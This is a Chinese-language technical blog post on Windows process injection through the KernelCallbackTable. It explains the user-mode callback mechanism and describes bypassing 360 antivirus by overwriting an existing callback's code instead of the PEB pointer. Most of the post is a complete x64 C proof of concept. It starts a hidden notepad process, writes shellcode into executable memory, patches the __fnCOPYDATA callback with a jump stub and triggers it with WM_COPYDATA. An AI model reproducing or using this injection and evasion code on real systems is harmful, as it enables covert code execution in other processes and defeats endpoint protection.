背景知識
眾所周知,xp以後的系統,ring3進ring0的方法是通過系統快速調用也就是sysenter/sysexit或syscall/sysret實現的,而與之類似的,NT 4.0開始,微軟將之前純ring3實現的圖形部分的大部分接口整理移植到了Win32k.sys這個知名屎山之中,但是由於仍然有部分組件功能保留在ring3,所以需要一個ring0調用ring3的方法。
NTSTATUS KeUserModeCallback ( IN ULONG ApiNumber, IN PVOID InputBuffer, IN ULONG InputLength, OUT PVOID *OutputBuffer, IN PULONG OutputLength );所以ntoskrnl.exe導出了如上的函數,其處理堆棧並將執行傳遞到ntdll.KiUserCallbackDispatcher函數,然後再根據調度錶轉發至ring3的回調中,最後通過NtCallbackReturn或者KiCallbackReturn(INT 2D)回到ring0。
今天文章里一個最核心用到的就是這個調度表,也就是KERNELCALLBACKTABLE。在User32.dll的入口user32!UserClientDllInitialize處,會初始化這個結構,並將這個結構保存在進程的PEB中。
注入
這個方法在外掛行業以及使用了很多年,首次應用於惡意軟件方向大概是FinFisher的攻擊中,其後odzhan公開了他製作的poc,在此之後,這個注入方法就越來越常見了。
簡單的測試後可以發現,360會攔截這個注入方法,確切地說是攔截了PEB中KernelCallbackTable的修改。可以說,這種攔截不痛不癢,是很好繞過的。
比較簡單的辦法就是直接將修改peb中KernelCallbackTable,改為獲取現有KernelCallbackTable中某一回調地址,直接覆蓋修改該地址內存即可,如果設計為spawn則無需恢復,想要inject就提取讀取原內存進行備份和修復即可
代碼
修改過於簡單,就直接放代碼吧,應該很好理解。此處僅展示x64下使用犧牲進程加載shellcode的demo
#include <Windows.h>#include <stdio.h>typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer;} UNICODE_STRING;typedef struct _KERNELCALLBACKTABLE_T { ULONG_PTR __fnCOPYDATA; ULONG_PTR __fnCOPYGLOBALDATA; ULONG_PTR __fnDWORD; ULONG_PTR __fnNCDESTROY; ULONG_PTR __fnDWORDOPTINLPMSG; ULONG_PTR __fnINOUTDRAG; ULONG_PTR __fnGETTEXTLENGTHS; ULONG_PTR __fnINCNTOUTSTRING; ULONG_PTR __fnPOUTLPINT; ULONG_PTR __fnINLPCOMPAREITEMSTRUCT; ULONG_PTR __fnINLPCREATESTRUCT; ULONG_PTR __fnINLPDELETEITEMSTRUCT; ULONG_PTR __fnINLPDRAWITEMSTRUCT; ULONG_PTR __fnPOPTINLPUINT; ULONG_PTR __fnPOPTINLPUINT2; ULONG_PTR __fnINLPMDICREATESTRUCT; ULONG_PTR __fnINOUTLPMEASUREITEMSTRUCT; ULONG_PTR __fnINLPWINDOWPOS; ULONG_PTR __fnINOUTLPPOINT5; ULONG_PTR __fnINOUTLPSCROLLINFO; ULONG_PTR __fnINOUTLPRECT; ULONG_PTR __fnINOUTNCCALCSIZE; ULONG_PTR __fnINOUTLPPOINT5_; ULONG_PTR __fnINPAINTCLIPBRD; ULONG_PTR __fnINSIZECLIPBRD; ULONG_PTR __fnINDESTROYCLIPBRD; ULONG_PTR __fnINSTRING; ULONG_PTR __fnINSTRINGNULL; ULONG_PTR __fnINDEVICECHANGE; ULONG_PTR __fnPOWERBROADCAST; ULONG_PTR __fnINLPUAHDRAWMENU; ULONG_PTR __fnOPTOUTLPDWORDOPTOUTLPDWORD; ULONG_PTR __fnOPTOUTLPDWORDOPTOUTLPDWORD_; ULONG_PTR __fnOUTDWORDINDWORD; ULONG_PTR __fnOUTLPRECT; ULONG_PTR __fnOUTSTRING; ULONG_PTR __fnPOPTINLPUINT3; ULONG_PTR __fnPOUTLPINT2; ULONG_PTR __fnSENTDDEMSG; ULONG_PTR __fnINOUTSTYLECHANGE; ULONG_PTR __fnHkINDWORD; ULONG_PTR __fnHkINLPCBTACTIVATESTRUCT; ULONG_PTR __fnHkINLPCBTCREATESTRUCT; ULONG_PTR __fnHkINLPDEBUGHOOKSTRUCT; ULONG_PTR __fnHkINLPMOUSEHOOKSTRUCTEX; ULONG_PTR __fnHkINLPKBDLLHOOKSTRUCT; ULONG_PTR __fnHkINLPMSLLHOOKSTRUCT; ULONG_PTR __fnHkINLPMSG; ULONG_PTR __fnHkINLPRECT; ULONG_PTR __fnHkOPTINLPEVENTMSG; ULONG_PTR __xxxClientCallDelegateThread; ULONG_PTR __ClientCallDummyCallback; ULONG_PTR __fnKEYBOARDCORRECTIONCALLOUT; ULONG_PTR __fnOUTLPCOMBOBOXINFO; ULONG_PTR __fnINLPCOMPAREITEMSTRUCT2; ULONG_PTR __xxxClientCallDevCallbackCapture; ULONG_PTR __xxxClientCallDitThread; ULONG_PTR __xxxClientEnableMMCSS; ULONG_PTR __xxxClientUpdateDpi; ULONG_PTR __xxxClientExpandStringW; ULONG_PTR __ClientCopyDDEIn1; ULONG_PTR __ClientCopyDDEIn2; ULONG_PTR __ClientCopyDDEOut1; ULONG_PTR __ClientCopyDDEOut2; ULONG_PTR __ClientCopyImage; ULONG_PTR __ClientEventCallback; ULONG_PTR __ClientFindMnemChar; ULONG_PTR __ClientFreeDDEHandle; ULONG_PTR __ClientFreeLibrary; ULONG_PTR __ClientGetCharsetInfo; ULONG_PTR __ClientGetDDEFlags; ULONG_PTR __ClientGetDDEHookData; ULONG_PTR __ClientGetListboxString; ULONG_PTR __ClientGetMessageMPH; ULONG_PTR __ClientLoadImage; ULONG_PTR __ClientLoadLibrary; ULONG_PTR __ClientLoadMenu; ULONG_PTR __ClientLoadLocalT1Fonts; ULONG_PTR __ClientPSMTextOut; ULONG_PTR __ClientLpkDrawTextEx; ULONG_PTR __ClientExtTextOutW; ULONG_PTR __ClientGetTextExtentPointW; ULONG_PTR __ClientCharToWchar; ULONG_PTR __ClientAddFontResourceW; ULONG_PTR __ClientThreadSetup; ULONG_PTR __ClientDeliverUserApc; ULONG_PTR __ClientNoMemoryPopup; ULONG_PTR __ClientMonitorEnumProc; ULONG_PTR __ClientCallWinEventProc; ULONG_PTR __ClientWaitMessageExMPH; ULONG_PTR __ClientWOWGetProcModule; ULONG_PTR __ClientWOWTask16SchedNotify; ULONG_PTR __ClientImmLoadLayout; ULONG_PTR __ClientImmProcessKey; ULONG_PTR __fnIMECONTROL; ULONG_PTR __fnINWPARAMDBCSCHAR; ULONG_PTR __fnGETTEXTLENGTHS2; ULONG_PTR __fnINLPKDRAWSWITCHWND; ULONG_PTR __ClientLoadStringW; ULONG_PTR __ClientLoadOLE; ULONG_PTR __ClientRegisterDragDrop; ULONG_PTR __ClientRevokeDragDrop; ULONG_PTR __fnINOUTMENUGETOBJECT; ULONG_PTR __ClientPrinterThunk; ULONG_PTR __fnOUTLPCOMBOBOXINFO2; ULONG_PTR __fnOUTLPSCROLLBARINFO; ULONG_PTR __fnINLPUAHDRAWMENU2; ULONG_PTR __fnINLPUAHDRAWMENUITEM; ULONG_PTR __fnINLPUAHDRAWMENU3; ULONG_PTR __fnINOUTLPUAHMEASUREMENUITEM; ULONG_PTR __fnINLPUAHDRAWMENU4; ULONG_PTR __fnOUTLPTITLEBARINFOEX; ULONG_PTR __fnTOUCH; ULONG_PTR __fnGESTURE; ULONG_PTR __fnPOPTINLPUINT4; ULONG_PTR __fnPOPTINLPUINT5; ULONG_PTR __xxxClientCallDefaultInputHandler; ULONG_PTR __fnEMPTY; ULONG_PTR __ClientRimDevCallback; ULONG_PTR __xxxClientCallMinTouchHitTestingCallback; ULONG_PTR __ClientCallLocalMouseHooks; ULONG_PTR __xxxClientBroadcastThemeChange; ULONG_PTR __xxxClientCallDevCallbackSimple; ULONG_PTR __xxxClientAllocWindowClassExtraBytes; ULONG_PTR __xxxClientFreeWindowClassExtraBytes; ULONG_PTR __fnGETWINDOWDATA; ULONG_PTR __fnINOUTSTYLECHANGE2; ULONG_PTR __fnHkINLPMOUSEHOOKSTRUCTEX2;} KERNELCALLBACKTABLE;typedef struct _PEB{ UCHAR InheritedAddressSpace; //0x0 UCHAR ReadImageFileExecOptions; //0x1 UCHAR BeingDebugged; //0x2 union { UCHAR BitField; //0x3 struct { UCHAR ImageUsesLargePages : 1; //0x3 UCHAR IsProtectedProcess : 1; //0x3 UCHAR IsImageDynamicallyRelocated : 1; //0x3 UCHAR SkipPatchingUser32Forwarders : 1; //0x3 UCHAR IsPackagedProcess : 1; //0x3 UCHAR IsAppContainer : 1; //0x3 UCHAR IsProtectedProcessLight : 1; //0x3 UCHAR IsLongPathAwareProcess : 1; //0x3 }; }; UCHAR Padding0[4]; //0x4 VOID* Mutant; //0x8 VOID* ImageBaseAddress; //0x10 struct _PEB_LDR_DATA* Ldr; //0x18 struct _RTL_USER_PROCESS_PARAMETERS* ProcessParameters; //0x20 VOID* SubSystemData; //0x28 VOID* ProcessHeap; //0x30 struct _RTL_CRITICAL_SECTION* FastPebLock; //0x38 union _SLIST_HEADER* volatile AtlThunkSListPtr; //0x40 VOID* IFEOKey; //0x48 union { ULONG CrossProcessFlags; //0x50 struct { ULONG ProcessInJob : 1; //0x50 ULONG ProcessInitializing : 1; //0x50 ULONG ProcessUsingVEH : 1; //0x50 ULONG ProcessUsingVCH : 1; //0x50 ULONG ProcessUsingFTH : 1; //0x50 ULONG ProcessPreviouslyThrottled : 1; //0x50 ULONG ProcessCurrentlyThrottled : 1; //0x50 ULONG ProcessImagesHotPatched : 1; //0x50 ULONG ReservedBits0 : 24; //0x50 }; }; UCHAR Padding1[4]; //0x54 union { VOID* KernelCallbackTable; //0x58 VOID* UserSharedInfoPtr; //0x58 }; ULONG SystemReserved; //0x60 ULONG AtlThunkSListPtr32; //0x64 VOID* ApiSetMap; //0x68 ULONG TlsExpansionCounter; //0x70 UCHAR Padding2[4]; //0x74 VOID* TlsBitmap; //0x78 ULONG TlsBitmapBits[2]; //0x80 VOID* ReadOnlySharedMemoryBase; //0x88 VOID* SharedData; //0x90 VOID** ReadOnlyStaticServerData; //0x98 VOID* AnsiCodePageData; //0xa0 VOID* OemCodePageData; //0xa8 VOID* UnicodeCaseTableData; //0xb0 ULONG NumberOfProcessors; //0xb8 ULONG NtGlobalFlag; //0xbc union _LARGE_INTEGER CriticalSectionTimeout; //0xc0 ULONGLONG HeapSegmentReserve; //0xc8 ULONGLONG HeapSegmentCommit; //0xd0 ULONGLONG HeapDeCommitTotalFreeThreshold; //0xd8 ULONGLONG HeapDeCommitFreeBlockThreshold; //0xe0 ULONG NumberOfHeaps; //0xe8 ULONG MaximumNumberOfHeaps; //0xec VOID** ProcessHeaps; //0xf0 VOID* GdiSharedHandleTable; //0xf8 VOID* ProcessStarterHelper; //0x100 ULONG GdiDCAttributeList; //0x108 UCHAR Padding3[4]; //0x10c struct _RTL_CRITICAL_SECTION* LoaderLock; //0x110 ULONG OSMajorVersion; //0x118 ULONG OSMinorVersion; //0x11c USHORT OSBuildNumber; //0x120 USHORT OSCSDVersion; //0x122 ULONG OSPlatformId; //0x124 ULONG ImageSubsystem; //0x128 ULONG ImageSubsystemMajorVersion; //0x12c ULONG ImageSubsystemMinorVersion; //0x130 UCHAR Padding4[4]; //0x134 ULONGLONG ActiveProcessAffinityMask; //0x138 ULONG GdiHandleBuffer[60]; //0x140 VOID(*PostProcessInitRoutine)(); //0x230 VOID* TlsExpansionBitmap; //0x238 ULONG TlsExpansionBitmapBits[32]; //0x240 ULONG SessionId; //0x2c0 UCHAR Padding5[4]; //0x2c4 union _ULARGE_INTEGER AppCompatFlags; //0x2c8 union _ULARGE_INTEGER AppCompatFlagsUser; //0x2d0 VOID* pShimData; //0x2d8 VOID* AppCompatInfo; //0x2e0 struct _UNICODE_STRING CSDVersion; //0x2e8 struct _ACTIVATION_CONTEXT_DATA* ActivationContextData; //0x2f8 struct _ASSEMBLY_STORAGE_MAP* ProcessAssemblyStorageMap; //0x300 struct _ACTIVATION_CONTEXT_DATA* SystemDefaultActivationContextData; //0x308 struct _ASSEMBLY_STORAGE_MAP* SystemAssemblyStorageMap; //0x310 ULONGLONG MinimumStackCommit; //0x318 struct _FLS_CALLBACK_INFO* FlsCallback; //0x320 struct _LIST_ENTRY FlsListHead; //0x328 VOID* FlsBitmap; //0x338 ULONG FlsBitmapBits[4]; //0x340 ULONG FlsHighIndex; //0x350 VOID* WerRegistrationData; //0x358 VOID* WerShipAssertPtr; //0x360 VOID* pUnused; //0x368 VOID* pImageHeaderHash; //0x370 union { ULONG TracingFlags; //0x378 struct { ULONG HeapTracingEnabled : 1; //0x378 ULONG CritSecTracingEnabled : 1; //0x378 ULONG LibLoaderTracingEnabled : 1; //0x378 ULONG SpareTracingBits : 29; //0x378 }; }; UCHAR Padding6[4]; //0x37c ULONGLONG CsrServerReadOnlySharedMemoryBase; //0x380 ULONGLONG TppWorkerpListLock; //0x388 struct _LIST_ENTRY TppWorkerpList; //0x390 VOID* WaitOnAddressHashTable[128]; //0x3a0 VOID* TelemetryCoverageHeader; //0x7a0 ULONG CloudFileFlags; //0x7a8 ULONG CloudFileDiagFlags; //0x7ac CHAR PlaceholderCompatibilityMode; //0x7b0 CHAR PlaceholderCompatibilityModeReserved[7]; //0x7b1 struct _LEAP_SECOND_DATA* LeapSecondData; //0x7b8 union { ULONG LeapSecondFlags; //0x7c0 struct { ULONG SixtySecondEnabled : 1; //0x7c0 ULONG Reserved : 31; //0x7c0 }; }; ULONG NtGlobalFlag2; //0x7c4} PEB, * PPEB;typedef LONG KPRIORITY;typedef struct _PROCESS_BASIC_INFORMATION { NTSTATUS ExitStatus; PPEB PebBaseAddress; ULONG_PTR AffinityMask; KPRIORITY BasePriority; ULONG_PTR UniqueProcessId; ULONG_PTR InheritedFromUniqueProcessId;} PROCESS_BASIC_INFORMATION;typedef enum _PROCESSINFOCLASS{ ProcessBasicInformation = 0, ProcessDebugPort = 7, ProcessWow64Information = 26, ProcessImageFileName = 27, ProcessBreakOnTermination = 29} PROCESSINFOCLASS, * PPROCESSINFOCLASS;typedef NTSTATUS(NTAPI* pNtQueryInformationProcess)( HANDLE ProcessHandle, PROCESSINFOCLASS ProcessInformationClass, PVOID ProcessInformation, ULONG ProcessInformationLength, PULONG ReturnLength );int main(){ unsigned char payload[] = { 0x6A, 0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x29, 0xD4, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F, 0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99, 0xFF, 0xD7 }; SIZE_T payloadSize = sizeof(payload); PROCESS_INFORMATION pi; STARTUPINFO si = { sizeof(STARTUPINFO) }; COPYDATASTRUCT cds; HWND hWindow; DWORD pid; HANDLE hProcess; PROCESS_BASIC_INFORMATION pbi; pNtQueryInformationProcess myNtQueryInformationProcess; PEB peb; KERNELCALLBACKTABLE kct; LPVOID payloadAddr; char jump[12] = "\0"; char temphex[8] = "\0"; WCHAR msg[] = L"Pwn"; si.dwFlags = STARTF_USESHOWWINDOW; si.wShowWindow = SW_HIDE; CreateProcess(L"C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi); WaitForInputIdle(pi.hProcess, 1000); hWindow = FindWindow(L"Notepad", NULL); GetWindowThreadProcessId(hWindow, &pid); hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); myNtQueryInformationProcess = (pNtQueryInformationProcess)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQueryInformationProcess"); myNtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL); ReadProcessMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL); ReadProcessMemory(hProcess, peb.KernelCallbackTable, &kct, sizeof(kct), NULL); payloadAddr = VirtualAllocEx(hProcess, NULL, payloadSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory(hProcess, payloadAddr, payload, payloadSize, NULL); jump[0] = 0x48; jump[1] = 0xB8; *(unsigned __int64*)temphex = (unsigned __int64)payloadAddr; jump[2] = temphex[0]; jump[3] = temphex[1]; jump[4] = temphex[2]; jump[5] = temphex[3]; jump[6] = temphex[4]; jump[7] = temphex[5]; jump[8] = temphex[6]; jump[9] = temphex[7]; jump[10] = 0xFF; jump[11] = 0xE0; WriteProcessMemory(hProcess, kct.__fnCOPYDATA, jump, sizeof(jump), NULL); cds.dwData = 1; cds.cbData = lstrlen(msg) * 2; cds.lpData = msg; SendMessage(hWindow, WM_COPYDATA, (WPARAM)hWindow, (LPARAM)&cds);}注意事項
僅適用於GUI程序,更準確的說是加載了User32.dll的進程
如果想注入現有進程,記得使用後恢復原樣
wow64的情況PEB需要特殊處理